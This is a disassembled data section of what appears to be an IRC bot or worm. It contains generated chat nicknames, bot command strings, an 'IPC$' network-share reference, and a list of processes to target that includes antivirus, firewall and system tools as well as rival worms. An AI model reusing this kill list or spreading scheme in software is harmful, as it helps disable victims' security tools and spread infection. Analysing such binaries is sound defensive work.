		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl_0	; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset aAyla		; "AYLA-"
		dd offset off_4377C4
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_437630
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
; char *off_4431D0
off_4431D0	dd offset aSex		; DATA XREF: sub_41A293+41r
					; sub_41A293+EBr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot_0	; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset aB_0		; "b"
		dd offset aC		; "c"
		dd offset aD_0		; "d"
		dd offset aE		; "e"
		dd offset aF_1		; "f"
		dd offset aG_0		; "g"
		dd offset asc_437A98	; "h"
		dd offset aI		; "i"
		dd offset a_		; "_"
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42FB98	; "l"
		dd offset aM_0		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset aW_0		; "w"
		dd offset asc_437A90	; "x"
		dd offset aY_0		; "y"
		dd offset aZ_0		; "z"
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset aZ_0		; "z"
		dd offset aG_0		; "g"
		dd offset aS_6		; "s"
		dd offset aQ		; "q"
		dd offset off_437450
		dd offset aBbl		; "|bbl"
		dd offset byte_42B633
		dd offset byte_42B633
		dd offset a___0		; "_|_"
		dd offset byte_42B633
		dd offset byte_42B633
		dd offset byte_42B633
		dd offset byte_42B633
		dd offset aF_0		; "F"
		dd offset aM_1		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF		; "^^^f^"
		dd offset aB_0		; "b"
		dd offset byte_42B633
		dd offset aSleeping	; "Sleeping"
		dd offset byte_42B633
		dd offset byte_42B633
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_42B633
		dd offset byte_42B633
		dd offset asc_437A40	; "X"
		dd offset byte_42B633
		dd offset aBoy		; "BOY"
		dd offset aGirl		; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset aTot		; "tot"
		dd offset aLol		; "lol"
		dd offset aLoloA	; "lolo|a|"
		dd offset aSex4free	; "|sex4free|"
		dd offset a4us		; "|4us|"
		dd offset a4you		; "{4you}"
		dd offset dword_437368+38h
		dd offset dword_437368+34h
		dd offset dword_437368+30h
dword_443368	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_41AA0A+A6o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4433B4	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_41AA0A+E5o
dword_4433D0	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: sub_41AA0A+11Ao
dword_4433E4	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_41AA0A+141o
off_4433F8	dd offset aAdd		; DATA XREF: sub_41BF46+59r
					; sub_41BFBE+4Ar ...
					; "Add"
off_4433FC	dd offset aAdded	; DATA XREF: sub_41BF46+2Dr
					; sub_41BFBE+7Cr ...
					; "Added"
dword_443400	dd 0			; DATA XREF: sub_41BF46+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 437D10h, 437D08h,	2, 437CFCh, 437CF0h, 3,	0
dword_443450	dd 7530h		; DATA XREF: sub_41C76D+12r
		align 8
off_443458	dd offset aRegedit_exe	; DATA XREF: sub_41C444:loc_41C50Cr
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe_0 ; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aMsblast_exe	; "MSBLAST.exe"
		dd offset aTeekids_exe	; "teekids.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
off_4434B8	dd offset aIpc		; DATA XREF: sub_41CB8D:loc_41CD3Er
					; sub_41CB8D+1BFr ...
					; "IPC$"
dword_4434BC	dd 0			; DATA XREF: sub_41CEAF:loc_41D02Cr
		dd offset dword_438C80+10h
		align 8
		dd offset dword_438C80+0Ch
		dd offset dword_438C80+8
		dd offset dword_438C80+4
		dd offset dword_438C80
byte_4434D8	db 63h			; DATA XREF: .text:0041DF27o
					; .text:0041DF41r ...
		db 6Dh,	64h, 0
aExit		db 'exit',0             ; DATA XREF: .text:0041E0A2o
					; .text:0041E0B7r
		align 10h
dword_4434F0	dd 6A14h		; DATA XREF: sub_41ECD4+4w _randr ...
		align 10h
off_443500	dd offset dword_4E2F20	; DATA XREF: ___initstdio+52o
		align 8
		dd offset dword_4E2F20
		dd 101h
dword_443510	dd 0FFFFFFFFh, 0	; DATA XREF: ___initstdio+71o
		dd 1000h, 0
; FILE stru_443520
stru_443520	FILE <0, 0, 0, 2, 0FFFFFFFFh, 0, 0, 0> ; DATA XREF: sub_40E3B2+17Co
					; __flsbuf+53o	...
dword_443540	dd 3 dup(0)		; DATA XREF: __flsbuf+5Bo
					; __stbuf:loc_422C8Co
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_443570	dd 84h dup(0)		; DATA XREF: ___initstdio+9Ao
dword_443780	dd 9875h, 9873h		; DATA XREF: ___initstdio+67o
off_443788	dd offset __fpmath	; DATA XREF: __cinitr
		dd offset nullsub_1
		dd offset nullsub_1
dword_443794	dd 19930520h, 3	dup(0)	; DATA XREF: __NLG_Notify1+2o
					; __NLG_Notify+2o
		dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z	; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		align 10h
; size_t MaxCount
MaxCount	dd 1			; DATA XREF: sub_40F87A+68r
					; _strtoxl:loc_41EAC7r	...
byte_4437B4	db 2Eh			; DATA XREF: __input:loc_423747r
					; __input+447r	...
		align 4
		dd 1, 0
off_4437C0	dd offset __exit	; DATA XREF: __amsg_exit+1Cr
dword_4437C4	dd 2			; DATA XREF: __NMSG_WRITE+58r
					; __FF_MSGBANNER+Er ...
		dd 10h
off_4437CC	dd offset aNull		; DATA XREF: __output:loc_4226C0r
					; __output+51Cr
					; "(null)"
off_4437D0	dd offset aNull_0	; DATA XREF: __output+2D8r
					; "(null)"
dword_4437D4	dd 0E6F4816Ah		; DATA XREF: _strtok+6r
					; CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *)+8r ...
off_4437D8	dd offset asc_4397E0	; DATA XREF: _strtoxl:loc_41EADFr
					; _strtoxl:loc_41EB74r	...
					; "	    (((((		   H"
off_4437DC	dd offset word_4399E2	; DATA XREF: _iswctype+18r
dword_4437E0	dd 1			; DATA XREF: __dosmaperr:loc_422C1Ar
dword_4437E4	dd 16h			; DATA XREF: __dosmaperr:loc_422C3Er
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
byte_443948	db 1			; DATA XREF: __setmbcp+120r
		db 2, 4, 8
		align 10h
dword_443950	dd 3A4h			; DATA XREF: __setmbcp:loc_422F91r
dword_443954	dd 82798260h		; DATA XREF: __setmbcp+15Cr
		dd 21h,	0
dword_443960	dd 0DFA6h		; DATA XREF: __setmbcp+100r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_443A40	dd 0FFFFFFFFh, 0A80h	; DATA XREF: __filbuf:loc_421CE6o
					; __flsbuf:loc_4221E1o
off_443A48	dd offset sub_427274	; DATA XREF: ___libm_error_support+11Ar
					; ___libm_error_support+1D5r ...
dword_443A4C	dd 173Fh		; DATA XREF: __floor_default+Dr
off_443A50	dd offset __cfltcvt	; DATA XREF: __cfltcvt_init+5w
					; __output+476r
off_443A54	dd offset __cropzeros	; DATA XREF: __cfltcvt_init+Aw
					; __output+4A2r
off_443A58	dd offset __fassign	; DATA XREF: __cfltcvt_init+14w
					; __input+5B5r
off_443A5C	dd offset __forcdecpt	; DATA XREF: __cfltcvt_init+1Ew
					; __output+491r
off_443A60	dd offset __positive	; DATA XREF: __cfltcvt_init+28w
off_443A64	dd offset __cfltcvt	; DATA XREF: __cfltcvt_init+32w
		dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z	; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		dd offset sub_4254B5
off_443A70	dd offset sub_4254B5	; DATA XREF: sub_4254E2+Cr
		align 10h
dword_443A80	dd 1B3Fh		; DATA XREF: __floor_default_0+Dr
dword_443A84	dd 1			; DATA XREF: _tolower+18r
dword_443A88	dd 2			; DATA XREF: __NMSG_WRITE:loc_42608Fr
					; __NMSG_WRITE+3Ar
off_443A8C	dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r
					; __NMSG_WRITE+112r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 43A11Ch, 9, 43A0F0h, 0Ah,	43A058h, 10h, 43A02Ch
		dd 11h,	439FFCh, 12h, 439FD8h, 13h, 439FACh, 18h, 439F74h
		dd 19h,	439F4Ch, 1Ah, 439F14h, 1Bh, 439EDCh, 1Ch, 439EB4h
		dd 1Dh,	439E10h, 78h, 439DFCh, 79h, 439DECh, 7Ah, 439DDCh
		dd 0FCh, 434A60h, 0FFh,	439DCCh
dword_443B20	dd 0C0000005h, 0Bh, 0	; DATA XREF: __XcptFilter+Co
					; _siglookup+6o
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_443B98	dd 3			; DATA XREF: __XcptFilter+84r
					; _raise+C4r
dword_443B9C	dd 7			; DATA XREF: __XcptFilter+89r
					; _raise+C9r
dword_443BA0	dd 0Ah			; DATA XREF: __XcptFilter+6r
					; _siglookupr
dword_443BA4	dd 8Ch			; DATA XREF: __XcptFilter+B2r
					; __XcptFilter+BAw ...
dword_443BA8	dd 2694h		; DATA XREF: __handle_qnan1+3r
					; __except1+5Dr
		align 10h
dword_443BB0	dd 14h			; DATA XREF: __umatherr:loc_42779Br
off_443BB4	dd offset aExp		; DATA XREF: __umatherr:loc_42780Dr
					; "exp"
		dd 1Dh,	439CB8h, 1Ah, 42F6A8h, 1Bh, 439CBCh, 1Fh, 43A420h
		dd 13h,	43A418h, 21h, 43A410h, 0Eh, 43A408h, 0Dh, 43A400h
		dd 0Fh,	439C80h, 10h, 43A3F8h, 5, 43A3F0h, 1Eh,	43A3ECh
		dd 12h,	43A3E8h, 20h, 43A3E4h, 0Ch, 439C88h, 0Bh, 439C90h
		dd 15h,	43A3DCh, 1Ch, 439C98h, 19h, 43A3D4h, 11h, 43A3CCh
		dd 18h,	43A3C4h, 16h, 43A3BCh, 17h, 43A3B4h, 22h, 43A3B0h
		dd 23h,	43A3ACh, 24h, 43A3A8h, 25h, 43A3A0h, 26h, 43A394h
dbl_443C98	dq 1.797693134862316e308 ; DATA	XREF: __handle_exc+BCr
					; __handle_exc:loc_42760Ar ...
		dd 0
		dd 0FFF80000h
dbl_443CA8	dq 1.797693134862316e308 ; DATA	XREF: __handle_exc+93r
					; __handle_exc:loc_4275E0r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_443CC0	dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+Br
					; __set_statfp+1Er
		align 4
tbyte_443CCC	dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+30r
		align 4
dword_443CD8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_427E18o
dword_443CF0	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_427E2Eo
dword_443D08	dd 2 dup(0)		; DATA XREF: ___multtenpow12+Co
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
		dd 400FC350h, 2	dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_443E68	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: ___multtenpow12+23o
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_443FC4	dd offset off_43A508	; DATA XREF: .rdata:0043A708o
					; .rdata:0043A868o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_443FDC	dd offset off_43A508	; DATA XREF: .rdata:off_43A5C0o
					; .rdata:0043A600o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_443FFC	dd offset off_43A508	; DATA XREF: .rdata:off_43A608o
					; .rdata:0043A64Co ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_44401C	dd offset off_43A508	; DATA XREF: .rdata:off_43A654o
					; .rdata:0043A698o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_44403C	dd offset off_43A508	; DATA XREF: .rdata:off_43A6A0o
					; .rdata:0043A6DCo
		dd 0
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
dword_444060	dd 0			; DATA XREF: sub_40110F+C8o
dword_444064	dd 71AB5690h		; DATA XREF: sub_4012D6+61Dw
					; sub_4012D6+76Cr ...
dword_444068	dd 71AB157Eh		; DATA XREF: sub_4012D6+678w
					; sub_4012D6+7A4r ...
dword_44406C	dd 71C574FAh		; DATA XREF: sub_4012D6+9BEw
					; sub_4012D6+A33r ...
dword_444070	dd 7620E8C3h		; DATA XREF: sub_4012D6+859w
					; sub_4012D6+8ACr ...
dword_444074	dd 71AB5A01h		; DATA XREF: sub_4012D6+540w
					; sub_4012D6+6C4r ...
dword_444078	dd 762211EFh		; DATA XREF: sub_4012D6+7FEw
					; sub_4012D6+86Dr
dword_44407C	dd 77E6C0E3h		; DATA XREF: sub_4012D6+8Cw
					; sub_4012D6+E2r ...
dword_444080	dd 77D5E303h		; DATA XREF: sub_4012D6+1A6w
					; sub_4012D6+1E2r ...
dword_444084	dd 77D45B19h		; DATA XREF: sub_4012D6+172w
					; sub_4012D6+1C2r ...
dword_444088	dd 71AB1444h		; DATA XREF: sub_4012D6+624w
					; sub_4012D6+774r ...
dword_44408C	dd 77C71BB0h		; DATA XREF: sub_4012D6+48Dw
					; sub_4012D6+4DBr ...
dword_444090	dd 71B28D0Dh		; DATA XREF: sub_4012D6+B50w
					; sub_40C979+A3r
dword_444094	dd 71AB155Ah		; DATA XREF: sub_4012D6+59Bw
					; sub_4012D6+70Cr ...
dword_444098	dd 7620AFB6h		; DATA XREF: sub_4012D6+83Fw
					; sub_4012D6+873r
dword_44409C	dd 77D5E310h		; DATA XREF: sub_4012D6+18Cw
					; sub_4012D6+1D2r ...
dword_4440A0	dd 77D4932Ch		; DATA XREF: sub_4012D6+206w
					; sub_4012D6+227r ...
dword_4440A4	dd 77EBA6E9h		; DATA XREF: sub_4012D6+58w
					; sub_4012D6+CAr ...
dword_4440A8	dd 71C4A1B4h		; DATA XREF: sub_4012D6+9A4w
					; sub_4012D6+A23r ...
dword_4440AC	dd 71AB3E5Dh		; DATA XREF: sub_4012D6+5A8w
					; sub_4012D6+718r ...
dword_4440B0	dd 77D5C13Ah		; DATA XREF: sub_4012D6+220w
					; sub_4012D6+23Cr ...
dword_4440B4	dd 1F7BA3A9h		; DATA XREF: sub_4012D6+BF4w
					; sub_4012D6+C2Fr
dword_4440B8	dd 77DD23D7h		; DATA XREF: sub_4012D6+2A5w
					; sub_4012D6+2F0r ...
dword_4440BC	dd 71AB868Dh		; DATA XREF: sub_4012D6+65Ew
					; sub_4012D6+794r ...
dword_4440C0	dd 77D4456Bh		; DATA XREF: sub_4012D6+22Dw
					; sub_414BFB+3Fr ...
dword_4440C4	dd 1F7B9D96h		; DATA XREF: sub_4012D6+C28w
dword_4440C8	dd 71C4502Ch		; DATA XREF: sub_4012D6+9CBw
					; sub_4012D6+A3Br ...
dword_4440CC	dd 71AB1ED3h		; DATA XREF: sub_4012D6+610w
					; sub_4012D6+764r ...
dword_4440D0	dd 773F97B0h		; DATA XREF: sub_4012D6+BAAw
dword_4440D4	dd 77E78C17h		; DATA XREF: sub_4012D6+31w
					; sub_4012D6+ADr ...
dword_4440D8	dd 71B2A381h		; DATA XREF: sub_4012D6+B43w
					; sub_4012D6+B5Fr ...
dword_4440DC	dd 71C21CA3h		; DATA XREF: sub_4012D6+A0Cw
					; sub_40F87A+8Br ...
dword_4440E0	dd 71C453F8h		; DATA XREF: sub_4012D6+9E5w
					; sub_4012D6+A4Br ...
dword_4440E4	dd 77DD59F0h		; DATA XREF: sub_401000+49r
					; sub_4012D6+298w ...
dword_4440E8	dd 71C2498Bh		; DATA XREF: sub_4012D6+97Dw
					; sub_4012D6+A06r ...
dword_4440EC	dd 71C4576Ch		; DATA XREF: sub_4012D6+9F2w
					; sub_4012D6+A53r ...
dword_4440F0	dd 77EBB1E7h		; DATA XREF: sub_4012D6+3Ew
					; sub_4012D6+BAr ...
dword_4440F4	dd 77E2C1B3h		; DATA XREF: sub_4012D6+399w
					; sub_4012D6+3DFr ...
dword_4440F8	dd 77D49A11h		; DATA XREF: sub_4012D6+17Fw
					; sub_4012D6+1CAr ...
dword_4440FC	dd 77E686CCh		; DATA XREF: sub_4012D6+72w
					; sub_4012D6+D2r ...
dword_444100	dd 71AB3C22h		; DATA XREF: sub_4012D6+58Ew
					; sub_4012D6+700r ...
dword_444104	dd 71C24870h		; DATA XREF: sub_4012D6+98Aw
					; sub_4012D6+A13r ...
dword_444108	dd 76214750h		; DATA XREF: sub_4012D6+84Cw
					; sub_4012D6+8A4r ...
dword_44410C	dd 76D674FAh		; DATA XREF: sub_4012D6+ADFw
					; sub_4012D6+AE6r ...
dword_444110	dd 71AB41DAh		; DATA XREF: sub_4012D6+533w
					; sub_4012D6+6B3r ...
dword_444114	dd 71C3516Ah		; DATA XREF: sub_4012D6+9FFw
					; sub_4012D6+A5Br ...
dword_444118	dd 77EBA994h		; DATA XREF: sub_4012D6+65w
					; sub_41C444+158r
dword_44411C	dd 77E09070h		; DATA XREF: sub_4012D6+2D9w
					; sub_41B065+4Fr
dword_444120	dd 71AB3F8Dh		; DATA XREF: sub_4012D6+66Bw
					; sub_4012D6+79Cr ...
dword_444124	dd 77E6CBF9h		; DATA XREF: sub_4012D6+99w
					; sub_4012D6+EAr ...
dword_444128	dd 1F7CD214h		; DATA XREF: sub_4012D6+C0Ew
					; sub_4012D6+C3Fr
dword_44412C	dd 76206853h		; DATA XREF: sub_4012D6+818w
					; sub_4012D6+888r ...
dword_444130	dd 77C72C6Bh		; DATA XREF: sub_4012D6+4A7w
					; sub_4012D6+4EBr ...
dword_444134	dd 77DDAB2Fh		; DATA XREF: sub_4012D6+3A6w
					; sub_4012D6+3E7r ...
